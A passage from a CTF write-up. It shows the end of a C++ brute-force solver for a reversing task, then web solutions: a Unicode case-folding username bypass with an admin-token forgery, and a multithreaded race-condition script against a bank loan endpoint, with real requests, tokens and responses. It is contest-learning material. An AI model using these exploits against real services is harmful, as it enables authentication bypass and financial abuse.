	//out,to_int(tmp),' ',to_int(tmp+8),'\n';
	speco(tmp,pwd);
	push(stack,tmp+8,sc);
	push(stack,tmp,sc);
	//out,to_int(tmp),' ',to_int(tmp+8),'\n';
}

int get(int&pc)
{
	return code[pc++];
}

void ror(bit*secret,int x,int y)
{
	bit tmp[16];
	fo0(i,y)tmp[i]=secret[x*8+i];
	fo0(i,16-y)secret[x*8+i]=secret[x*8+i+y];
	fo0(i,y)secret[x*8+i+16-y]=tmp[i];
}

void cpu(bit*secret,int&pc,int pwd)
{
	bit stack[248];
	int sc=0;
	pwd%=24;
	while(1)
	{
		int op=get(pc);
		if(op==0x26)spec(stack,sc,pwd);
		else if(op==0x21)break;
		else if(op==0x2d)pop(stack,secret+(get(pc)-0x30)*8,sc);
		else if(op==0x23)ror(secret,get(pc)-0x30,pwd&7);
		else push(stack,secret+(op-0x30)*8,sc);
		//out,op,' ',stack.size()/8,'\n';
		//print_str();
		//if(op==0x26)exit(233);
	}
}

int succ=0;

void work(int k1,int k2,int k3,int k4,int k5,int k6)
{
	int pc=33;
	bit s[32*8];
	fo0(i,32)
	{
		fo0(j,8)
		{
			s[i*8+j].reset();
			s[i*8+j][i*8+j]=1;
		}
	}
	cpu(s,pc,'X');
	cpu(s,pc,k1);
	cpu(s,pc,k2);
	cpu(s,pc,k3);
	cpu(s,pc,k4);
	cpu(s,pc,k5);
	cpu(s,pc,k6);
	cpu(s,pc,'W');
	fo0(i,32)
	{
		fo0(j,8)
		{
			if(req[i]>>j&1)s[i*8+j][SG].flip();
		}
	}
	const int n=256;
	fo0(i,n)
	{
		int t=i;
		while(t<n&&!s[t][i])t++;
		if(t!=i)std::swap(s[t],s[i]);
		assert(s[i][i]);
		fo0(j,n)if(j!=i&&s[j][i])s[j]^=s[i];
	}
	unsigned char res[32];
	mset(res,0);
	fo0(i,n)res[i>>3]|=int(s[i][SG])<<(i&7);
	//fo0(i,32)out,res[i],',';out,'\n';
	bool flag=1;
	fo0(i,32)flag&=res[i]>=32&&res[i]<=127;
	if(flag)
	{
		//out,"ok\n";
		fprintf(stderr,"%s\n",res);
	}
	succ++;
	if(succ%10000==0)out,succ,'\n';
}

int main()
{
	fo0(i,24)proc_pwd_byte(i,pb[i]);
	fo0(x,2)fo0(y,2)fo0(z,2)fo0(i,2)fo0(j,2)
	{
		rc[x][y][z][i][j]=x*i^y*j^z;
	}
	fo0(i,24)
	{
		//out,i,':';fo0(j,4)out,pb[i][j],' ';out,'\n';
		bool ok=0;
		fo0(x,2)fo0(y,2)fo0(z,2)
		{
			bool flag=1;
			fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]&1))flag=0;
			//fo0(j,2)fo0(k,2)out,x,' ',y,' ',z,' ',j,' ',k,' ',rc[x][y][z][j][k],' ',pb[i][j*2+k]&1,'\n';
			if(flag)
			{
				plx[i]=x,ply[i]=y,plz[i]=z;
				ok=1;break;
			}
		}
		assert(ok);
		ok=0;
		fo0(x,2)fo0(y,2)fo0(z,2)
		{
			bool flag=1;
			fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]>>1))flag=0;
			if(flag)
			{
				phx[i]=x,phy[i]=y,phz[i]=z;
				ok=1;break;
			}
		}
		assert(ok);
		//out,plx[i],' ',ply[i],' ',plz[i],'\n';
		//out,phx[i],' ',phy[i],' ',phz[i],'\n';
	}
	for(uint i=0;i<191102976;i++)
	{
		int t=i;
		int a=t%26;t/=26;
		int b=t%26;t/=26;
		int c=t%26;t/=26;
		int d=t%26;t/=26;
		int e=t%26;t/=26;
		int f=t;
		work(a,b,c,d,e,f);
	}
}
```

After add `openmp` to this program, it find lots of strings which like shuffled flag. I manually extract the real flag from it.

# Web

## Draw with us

First, by fuzzing, I found that `hacKtm` (K is chr(8490)) can beat the `toLowerCase` and `toUpperCase`.

After register with this, we can update our rights with `[["n"]]`. Then the `serverInfo` will leak $n$.

Then post `init` with $p=1,q=n$, we got the admin token. Just use this token to view `/flag`.

```python
>>> print(requests.post('http://167.172.165.153:60001/updateUser',json={'color':'1','rights':[['n']]},headers={'Authorization':'...(omitted)'}).text)
{"status":"ok","data":{"user":{"username":"hacKtm","id":"c9a76173-8467-4207-99cd-e239a2b93b8b","color":1,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}
>>> print(requests.get('http://167.172.165.153:60001/serverInfo',headers={'Authorization':'...'}).text)
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":155},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}
>>> requests.post('http://167.172.165.153:60001/init',json={'p':'1','q':'54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979'}).text
'{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNTczMDAxfQ.esUKUwyiWQ-eZJHGqXKTjXalVfQTp2dPz237tnF-ZvY"}}'
```

## My Bank

Use many threads to loan money at the same time. Then it will be race condition. Then just buy the flag.

```python
import requests,threading,time
r=requests.post('http://178.128.175.6:50090/register',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','username':'testx'},headers={'cookie':'session=eyJjc3JmX3Rva2VuIjoiNzNmODQ0MzY2ZTc2NWFmODJmY2VmY2RkMWU1YmU5NjExNWZmNzIzNyJ9.XjdUZg.KqdE__xzueJrl1VUwZ_-vgc5980'})
sess=r.cookies['session']
print(sess)

def work():
	r=requests.post('http://178.128.175.6:50090/',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','loan':'10'},headers={'cookie':'session='+sess})

t=0
while True:
	threading.Thread(target=work).start()
	t+=1
	if t%20==0:
		time.sleep(0.01)
time.sleep(3)
```

]]>